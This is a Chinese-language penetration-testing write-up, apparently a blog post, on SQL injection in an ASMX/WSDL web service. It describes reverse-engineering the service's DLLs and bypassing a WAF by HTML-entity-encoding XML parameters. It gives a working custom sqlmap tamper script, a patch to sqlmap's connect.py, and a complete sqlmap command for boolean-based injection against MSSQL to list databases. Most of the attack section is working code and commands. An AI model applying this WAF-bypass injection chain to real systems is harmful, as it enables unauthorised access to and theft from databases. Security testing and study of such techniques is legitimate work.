二编,展示SQL注入测试必要的技术链条细节。
本文的故事版姐妹篇参见文末参考阅读。
WSDL
黑盒渗透,曾碰见了asmx后缀的页面,风格复古,页面详尽列出接口功能,支持XML格式提交,往往不需要身份验证,往往也缺乏注入防护。
这里获得一份源码,开始对WSDL接口进行审计。dll文件使用dnSpy-net做逆向。
周折地调试着if-else-switch-case找到一个注入。
接着Burp偶然发现,XML参数内容做HTML实体编码,服务器端是支持识别的!天然的绕WAF!
SQLMAP
于是乎写了一个htmlencodeall.tamper,实现字符串全部实体编码。
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
HTML encode all characters except & (e.g. ' -> ')
>>> tamper("1' AND SLEEP(5)#")
'1' AND SLEEP(5)#'
"""
return re.sub(r"[^\&]", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload
# print(tamper("1' AND SLEEP(5)#"))
同时,因为SQLmap本来会对&
做一遍实体编码,而实体编码&#
开头,需要做一些修改魔改,以1.5版本为例,sqlmap-1.5/lib/request/connect.py:1001行。删除掉.replace('&', "&")
,就可以了。
再仔细看了SQLmap手册,掌握了几个非常适合定制的参数。特别是布尔型注入。
参数添加前缀:--prefix
参数添加后缀:--suffix
当布尔为假而匹配响应包字符串:--not-string
注入类型指定布尔型:--technique=B
burpsuite调试用:--proxy=http://127.0.0.1:8080
还有-v3、--level=3
在数据包的参数位置添加*号,完整的测试命令如下
python2 sqlmap-1.5/sqlmap.py -r req1.txt --random-agent --prefix="ap'or 8999-9=8990" --suffix="--isk0-" --not-string=\<GetResult\>-1 --technique=B --dbms=mssql --tamper htmlencodeall --threads=3 --dbs --batch
参考阅读